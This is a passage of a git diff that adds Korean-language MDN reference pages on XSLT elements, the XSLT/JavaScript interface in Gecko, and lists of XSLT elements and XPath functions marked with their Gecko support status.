+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/sort/index.html b/files/ko/web/xslt/sort/index.html
new file mode 100644
index 0000000000..22217ec61f
--- /dev/null
+++ b/files/ko/web/xslt/sort/index.html
@@ -0,0 +1,55 @@
+---
+title: sort
+slug: Web/XSLT/sort
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/sort
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:sort&gt;</code> 요소는 <code>&lt;xsl:apply-templates&gt;</code>나 <code>&lt;xsl:for-each&gt;</code>가 선택한 노드에 정렬키를 정의하고 노드를 처리할 순서를 결정합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:sort
+	select=EXPRESSION
+	order="ascending" | "descending"
+	case-order="upper-first"| "lower-first"
+	lang=XML:LANG-CODE
+	data-type="html" | "xml" | "text" /&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  정렬할 노드를 지정하는 XPath 식을 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>order</code></dt>
+ <dd>
+  "<code>ascending</code>"나 "<code>descending</code>"으로 처리하면 좋을 노드를 지정합니다. 기본값은 "<code>ascending</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>case-order</code></dt>
+ <dd>
+  처음에 오는 게 대문자인지 소문자인지를 나타냅니다. 가능한 값은 "<code>upper-first</code>"와 "<code>lower-first</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>lang</code></dt>
+ <dd>
+  어떤 언어를 정렬에 쓸지를 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>data-type</code></dt>
+ <dd>
+  어떤 항목을 알파벳순이나 숫자순으로 순서 매길지를 정의합니다. 가능한 값은 "<code>text</code>"와 기본값인 "<code>text</code>"가 있는 "<code>number</code>"입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 항상 <code>&lt;xsl:for-each&gt;</code>의 자식으로 나타나고 고유(proper) 템플릿이나 <code>&lt;xsl:apply-templates&gt;</code> 앞에 나타나야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#sorting">XSLT section 10, Sorting</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/strip-space/index.html b/files/ko/web/xslt/strip-space/index.html
new file mode 100644
index 0000000000..7bbc485afd
--- /dev/null
+++ b/files/ko/web/xslt/strip-space/index.html
@@ -0,0 +1,26 @@
+---
+title: strip-space
+slug: Web/XSLT/strip-space
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/strip-space
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:strip-space&gt;</code> 요소는 공백을 지웠으면 하는 소스 문서의 요소를 정의합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:strip-space elements=LIST-OF-ELEMENT-NAMES  /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>elements</code></dt>
+ <dd>
+  지우면 좋을 공백뿐인 텍스트 노드가 있는 소스의 요소 목록(빈칸으로 구분)을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#strip">XSLT section 3.4, Whitespace Stripping</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/stylesheet/index.html b/files/ko/web/xslt/stylesheet/index.html
new file mode 100644
index 0000000000..0119cec645
--- /dev/null
+++ b/files/ko/web/xslt/stylesheet/index.html
@@ -0,0 +1,52 @@
+---
+title: stylesheet
+slug: Web/XSLT/stylesheet
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/stylesheet
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:stylesheet&gt;</code>(나 동등한 <code>&lt;xsl:transform&gt;</code>) 요소는 스타일시트의 최외곽 요소입니다.</p>
+<h3 id=".EC.9D.B4.EB.A6.84.EA.B3.B5.EA.B0.84_.EC.84.A0.EC.96.B8" name=".EC.9D.B4.EB.A6.84.EA.B3.B5.EA.B0.84_.EC.84.A0.EC.96.B8">이름공간 선언</h3>
+<p>pseudo 속성은 XSLT 스타일시트로 문서를 식별하기 위해 필요합니다. 대체로 이는 <code>xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>"</code>입니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:stylesheet
+	version=NUMBER
+	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+	id=NAME
+	extension-element-prefixes=LIST-OF-NAMES
+	exclude-result-prefixes=LIST-OF-NAMES&gt;
+		ENTIRE STYLESHEET
+&lt;/xsl:stylesheet&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>version</code></dt>
+ <dd>
+  이 스타일시트에 필요한 XSLT의 버전을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>id </code>(7.0 현재 오직 inline DTD가 명시하여 호출하는 경우만 지원함.)</dt>
+ <dd>
+  이 스타일시트에 <code>id</code>를 지정합니다. 이는 스타일시트를 다른 XML 문서에 포함할 때 가장 자주 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+  extension-element-prefixes (지원 안 함.)</dt>
+ <dd>
+  이 문서의 확장 요소에 빈칸으로 구분한 이름공간 접두사를 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  exclude-result-prefixes</dt>
+ <dd>
+  이 문서에 쓸 출력 문서에 보내지 않았으면 하는 이름공간을 지정합니다. 목록은 공백으로 구분합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>필수 최외곽 스타일시트 요소.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#stylesheet-element">XSLT section 2.2, Stylesheet Element</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>조금 지원. 위 해설을 보세요.</p>
diff --git a/files/ko/web/xslt/template/index.html b/files/ko/web/xslt/template/index.html
new file mode 100644
index 0000000000..1ce4a66d2b
--- /dev/null
+++ b/files/ko/web/xslt/template/index.html
@@ -0,0 +1,51 @@
+---
+title: template
+slug: Web/XSLT/template
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/template
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:template&gt;</code> 요소는 출력 생성 템플릿을 정의합니다. 이 요소는 match 속성이나 name 속성 집합이 있어야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:template
+	match=PATTERN
+	name=NAME
+	mode=NAME
+	priority=NUMBER&gt;
+	&lt;xsl:param&gt; [optional]
+	TEMPLATE
+&lt;/xsl:template&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>match</code></dt>
+ <dd>
+  이 템플릿을 쓰면 좋을 요소를 결정하는 패턴을 지정합니다. <code>name</code> 속성이 없다면, 필수 속성입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  <code>&lt;xsl:call-template&gt;</code> 요소가 호출할 수 있는 이 템플릿에 이름을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>mode</code></dt>
+ <dd>
+  이 템플릿에 <code>&lt;xsl:apply-templates&gt;</code> 요소의 속성과 일치할 수 있는 특유한 모드를 지정합니다. 이는 같은 정보를 다양한 방식으로 처리하는데 유용합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>priority</code></dt>
+ <dd>
+  이 템플릿에 숫자로 된 우선권을 지정합니다. 이는 <code>Infinity</code>와 다른 아무 숫자일 수 있습니다. 처리기는 하나 이상의 템플릿이 같은 노드와 일치할 때 이 숫자를 씁니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Defining-Template-Rules">XSLT section 5.3, Defining Template Rules</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/text/index.html b/files/ko/web/xslt/text/index.html
new file mode 100644
index 0000000000..71bd6eceda
--- /dev/null
+++ b/files/ko/web/xslt/text/index.html
@@ -0,0 +1,28 @@
+---
+title: text
+slug: Web/XSLT/text
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/text
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:text&gt;</code> 요소는 출력 트리에 리터럴(literal) 텍스트를 씁니다. <code>#PCDATA</code>, 리터럴 텍스트, 엔티티 참조를 포함할 지도 모릅니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:text disable-output-escaping="yes" | "no"&gt;
+	TEXT
+&lt;/xsl:text&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>disable-output-escaping</code> (Netscape은 변환 결과를 "output" 아래에 직렬하지 않습니다. 그래서 이 속성은 본래 문맥에서는 무의미합니다. HTML 엔티티를 출력하기 위해서는, 대신 숫자값을 쓰세요. 보기 &amp;<code>nbsp</code> 대신 <code>&amp;#160</code>)</dt>
+ <dd>
+  특수 문자를 출력에 쓸 때 해석할(escape) 지를 지정합니다. 가능한 값은 "<code>yes</code>"나 "<code>no</code>"입니다. 예를 들어, "<code>yes</code>"로 하면, &lt;tt&gt;&gt;&lt;/tt&gt; 문자의 출력은 "<code>&amp;gt</code>"가 아니라 <code>&gt;</code>입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Text">XSLT section 7.2, Creating Text</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>적힌 대로 지원함</p>
diff --git a/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html
new file mode 100644
index 0000000000..c3ee407348
--- /dev/null
+++ b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/index.html
@@ -0,0 +1,17 @@
+---
+title: The XSLT/JavaScript Interface in Gecko
+slug: Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko
+tags:
+  - DOM
+  - XSLT
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko
+---
+<ol>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Introduction">개요</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/JavaScript%2f%2fXSLT_Bindings">The XSLT/JavaScript Interface in Gecko:JavaScript/XSLT Bindings</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Basic_Example">The XSLT/JavaScript Interface in Gecko:Basic Example</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Setting_Parameters">The XSLT/JavaScript Interface in Gecko:Setting Parameters</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Advanced_Example">The XSLT/JavaScript Interface in Gecko:Advanced Example</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Interface_List">The XSLT/JavaScript Interface in Gecko:Interface List</a></li>
+ <li><a href="ko/The_XSLT%2f%2fJavaScript_Interface_in_Gecko/Resources">The XSLT/JavaScript Interface in Gecko:Resources</a></li>
+</ol>
diff --git a/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html
new file mode 100644
index 0000000000..dd74a5998d
--- /dev/null
+++ b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/introduction/index.html
@@ -0,0 +1,10 @@
+---
+title: Introduction
+slug: Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Introduction
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Introduction
+---
+<h2 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h2>
+<p><a href="ko/XSLT_in_Gecko">XSLT</a>를 지원하는 현대의 브라우저를 가지고, 개발자는 XSLT가 제공하는 힘에 접근하기 위해 자바스크립트를 지금 사용할 수 있다. 자바스크립트는 웹 프로그램이 XML자료를 로드하고, XSLT를 통해 표현가능한 형태로 처리하고 존재하는 문서안에 넣는 것을 가능하게 한다. XML자료는 아무런 표현자료 없이 오직 날 정보만을 포함하므로, 다이얼업에서도 빠르게 로드할 수 있다.</p>
+<p>XSLT는 저자가 직접 문서구조를 다루는 것을 허용한다. 예로, XSLT는 요소의 재배열과 정렬을 수행한다. 또 결과 문서구조의 좀더 세분된 제어를 제공한다.</p>
+<p><a class="external" href="http://mozilla.org/releases/">Mozilla 1.2</a>현재 Gecko는 자바스크립트가 XSLT 프로세서를 만드는 것을 가능하게 한다. 이 글은 Gecko에서 XSLT/JavaScript binding을 다룬다. 이들은 Netscape 7.0x에서는 가능하지 않지만 Netscape 7.1에서는 가능하다.</p>
+<p>{{ languages( { "en": "en/The_XSLT//JavaScript_Interface_in_Gecko/Introduction" } ) }}</p>
diff --git a/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html
new file mode 100644
index 0000000000..fb2f456e70
--- /dev/null
+++ b/files/ko/web/xslt/the_xslt_javascript_interface_in_gecko/setting_parameters/index.html
@@ -0,0 +1,23 @@
+---
+title: Setting Parameters
+slug: Web/XSLT/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Setting_Parameters
+---
+<h2 id="Parameter_.EC.84.A4.EC.A0.95" name="Parameter_.EC.84.A4.EC.A0.95">Parameter 설정</h2>
+<p>이미 코딩된 .xsl과 .xml 파일을 이용하여 변환을 실행하는 것은 꽤 쓸모있는데, .xml파일을 JavaScript로부터 설정하는 것은 좀 더 쓸모있다.예로, JavaScript와 XSLT는 XML데이터를 정렬하여 표시하는 데 쓸 수 있다. 정렬은 오름차순과 내림차순을 바꿀 수 있어야 할 것이다. XSLT는 <code>xsl:param</code> 요소를 제공하는데, 그것은 <code>xsl:stylesheet</code> 요소의 자식이다. <code>XSLTProcessor()</code>는 이 파라메터와 상호작용하기 위해 3가지 JavaScript 메소드를 제공한다: <code>setParameter</code>, <code>getParameter</code>, <code>removeParameter.</code></p>
+<p><br>
+ 그들 모두 첫번째 아규먼트로 <code>xsl:param</code> 의 namespace URI를 얻는다. (보통 그 param은 기본 namespace로 떨어져, null에 전달되어 충분하다) <code>xsl:param</code>의 local name이 두번째 아규먼트다. setParameter는 세번쩨 아규먼트를 필요로 한다 - 즉 파라미터가 맞추어질 값.</p>
+<p><small><b>그림 7 : Parameters</b></small></p>
+<pre>XSLT:
+&lt;xsl:param name="myOrder" /&gt;
+
+JavaScript:
+
+var sortVal = xsltProcessor.getParameter(null, "myOrder");
+
+if (sortVal == "" || sortVal == "descending")
+  xsltProcessor.setParameter(null, "myOrder", "ascending");
+else
+  xsltProcessor.setParameter(null, "myOrder", "descending");
+</pre>
+<p>{{ languages( { "en": "en/The_XSLT//JavaScript_Interface_in_Gecko/Setting_Parameters" } ) }}</p>
diff --git a/files/ko/web/xslt/transform/index.html b/files/ko/web/xslt/transform/index.html
new file mode 100644
index 0000000000..8071ebdad3
--- /dev/null
+++ b/files/ko/web/xslt/transform/index.html
@@ -0,0 +1,11 @@
+---
+title: transform
+slug: Web/XSLT/transform
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/transform
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:transform&gt;</code> 요소는 <code><a href="ko/XSLT/stylesheet">&lt;xsl:stylesheet&gt;</a></code> 요소와 정확히 같습니다.</p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/transforming_xml_with_xslt/index.html b/files/ko/web/xslt/transforming_xml_with_xslt/index.html
new file mode 100644
index 0000000000..05129f35b9
--- /dev/null
+++ b/files/ko/web/xslt/transforming_xml_with_xslt/index.html
@@ -0,0 +1,107 @@
+---
+title: Transforming XML with XSLT
+slug: Web/XSLT/Transforming_XML_with_XSLT
+tags:
+  - MDC Project
+  - NeedsMigration
+  - Transforming_XML_with_XSLT
+  - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT
+---
+<h3 id=".EA.B0.9C.EC.9A.94"> <a href="ko/Transforming_XML_with_XSLT/An_Overview">개요</a> </h3>
+<p>내용과 겉모양의 분리가 <a href="ko/XML">XML</a>의 중요한 설계 특징입니다. XML 문서 구조는 결국 이 데이터를 어떻게 표시하는 게 좋을지에 관한 어떤 암시를 줄 필요로 방해받지 않은 내용 자체의 서로 다른 면(aspect) 사이의 중요한 관계를 반영하고 명확히 하기 위해 설계했습니다. 이 지적인 구조화는 데이터 전송이 더욱 자동화되는 것만큼 특히 중요하고 네트워크로 연결된 매우 이질적인 컴퓨터 사이에 일어난다.
+</p><p>아직은 결국 XML 문서에 저장된 많은 내용을 읽는 사람에게 표시할 필요가 있습니다. 왜냐하면 브라우저가 친근하고 유연성이 높은 인터페이스를 제공하기 때문에, 그것은 XML 내용의 표시 버전 같은 이상적인 전달 메커니즘입니다. 철저하게 아주 다양한 XML 기술을 이용하게 만들었기 때문에, Mozilla는 원 XML 문서와 스타일 입히기와 클라이언트 측 처리로 인한 서버 부담을 줄이기 위해 HTML 표시에 그들을 놓기로 쓰는 특수 스타일시트 둘 다를 처리할 필요가 있는 모든 메커니즘을 자체에 통합시킵니다.
+</p><p>오늘날, Gecko(the layout engine behind Mozilla와 Firefox)는 두 형태(form)의 XML 스타일시트를 지원합니다. 겉모습(글꼴, 색, 자리들)의 기본 조절을 위해 Gecko는 <a href="ko/DHTML">DHTML</a>과 친근한 <a href="ko/CSS">CSS</a>를 씁니다. CSS1 전부와 CSS2 대부분을 지원합니다. 최근 생겨난 CSS3 표준 지원은 개발중입니다. CSS에 관한 추가 정보는 <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>를 보시기 바랍니다.
+</p><p>여기서 우리의 관심은 Gecko가 지원하는 스타일시트의 두 번째 형태인 XSLT 스타일시트에 대해서입니다. XSLT는 eXtensible Stylesheet Language/Transform을 나타내고 그 이름은 적절합니다. XSLT는 스타일시트 만든 이가 그러길 바란다면 컨텐트를 모조리 다시 정리하고 다른 형식으로 변환하는 것을 포함하는 컨텐트 조작(manipulating)과 정렬이라는 중요한 두 방식으로 본래 XML 문서를 변환하게 합니다(그리고 Mozilla의 경우에, 초점은 브라우저에 표시될 수 있는 HTML로 즉시 변환하는 데 있습니다).
+</p>
+<h3 id="XSLT.2FXPath_.EC.B0.B8.EC.A1.B0"> XSLT/XPath 참조 </h3>
+<h4 id=".EC.9A.94.EC.86.8C"> <a href="ko/XSLT/Elements">요소</a> </h4>
+<ul><li> <a href="ko/XSLT/apply-imports">xsl:apply-imports</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/apply-templates">xsl:apply-templates</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/attribute">xsl:attribute</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/attribute-set">xsl:attribute-set</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/call-template">xsl:call-template</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/choose">xsl:choose</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/comment">xsl:comment</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/copy">xsl:copy</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/copy-of">xsl:copy-of</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/decimal-format">xsl:decimal-format</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/element">xsl:element</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/fallback">xsl:fallback</a> <i>(지원 안 함)</i>
+</li><li> <a href="ko/XSLT/for-each">xsl:for-each</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/if">xsl:if</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/import">xsl:import</a> <i>(대부분 지원)</i>
+</li><li> <a href="ko/XSLT/include">xsl:include</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/key">xsl:key</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/message">xsl:message</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(지원 안 함)</i>
+</li><li> <a href="ko/XSLT/number">xsl:number</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/otherwise">xsl:otherwise</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/output">xsl:output</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/param">xsl:param</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/preserve-space">xsl:preserve-space</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/processing-instruction">xsl:processing-instruction</a> </li><li> <a href="ko/XSLT/sort">xsl:sort</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/strip-space">xsl:strip-space</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/stylesheet">xsl:stylesheet</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/template">xsl:template</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/text">xsl:text</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/transform">xsl:transform</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/value-of">xsl:value-of</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XSLT/variable">xsl:variable</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/when">xsl:when</a> <i>(지원함)</i>
+</li><li> <a href="ko/XSLT/with-param">xsl:with-param</a> <i>(지원함)</i>
+</li></ul>
+<h4 id=".EC.B6.95"> <a href="ko/XPath/Axes">축</a> </h4>
+<ul><li> <a href="ko/XPath/Axes/ancestor">ancestor</a> </li><li> <a href="ko/XPath/Axes/ancestor-or-self">ancestor-or-self</a> </li><li> <a href="ko/XPath/Axes/attribute">attribute</a> </li><li> <a href="ko/XPath/Axes/child">child</a> </li><li> <a href="ko/XPath/Axes/descendant">descendant</a> </li><li> <a href="ko/XPath/Axes/descendant-or-self">descendant-or-self</a> </li><li> <a href="ko/XPath/Axes/following">following</a> </li><li> <a href="ko/XPath/Axes/following-sibling">following-sibling</a> </li><li> <a href="ko/XPath/Axes/namespace">namespace</a> <i>(지원 안 함)</i>
+</li><li> <a href="ko/XPath/Axes/parent">parent</a> </li><li> <a href="ko/XPath/Axes/preceding">preceding</a> </li><li> <a href="ko/XPath/Axes/preceding-sibling">preceding-sibling</a> </li><li> <a href="ko/XPath/Axes/self">self</a>
+</li></ul>
+<h4 id=".ED.95.A8.EC.88.98"> <a href="ko/XPath/Functions">함수</a> </h4>
+<ul><li> <a href="ko/XPath/Functions/boolean">boolean()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/ceiling">ceiling()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/concat">concat()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/contains">contains()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/count">count()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/current">current()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/document">document()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/element-available">element-available()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/false">false()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/floor">floor()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/format-number">format-number()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/function-available">function-available()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/generate-id">generate-id()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/id">id()</a> <i>(부분 지원)</i>
+</li><li> <a href="ko/XPath/Functions/key">key()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/lang">lang()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/last">last()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/local-name">local-name()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/name">name()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/namespace-uri">namespace-uri()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/normalize-space">normalize-space()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/not">not()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/number">number()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/position">position()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/round">round()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/starts-with">starts-with()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/string">string()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/string-length">string-lenght()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/substring">substring()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/substring-after">substring-after()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/substring-before">substring-before()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/sum">sum()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/system-property">system-property()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/translate">translate()</a> <i>(지원함)</i>
+</li><li> <a href="ko/XPath/Functions/true">true()</a> <i>(지원함)</i>
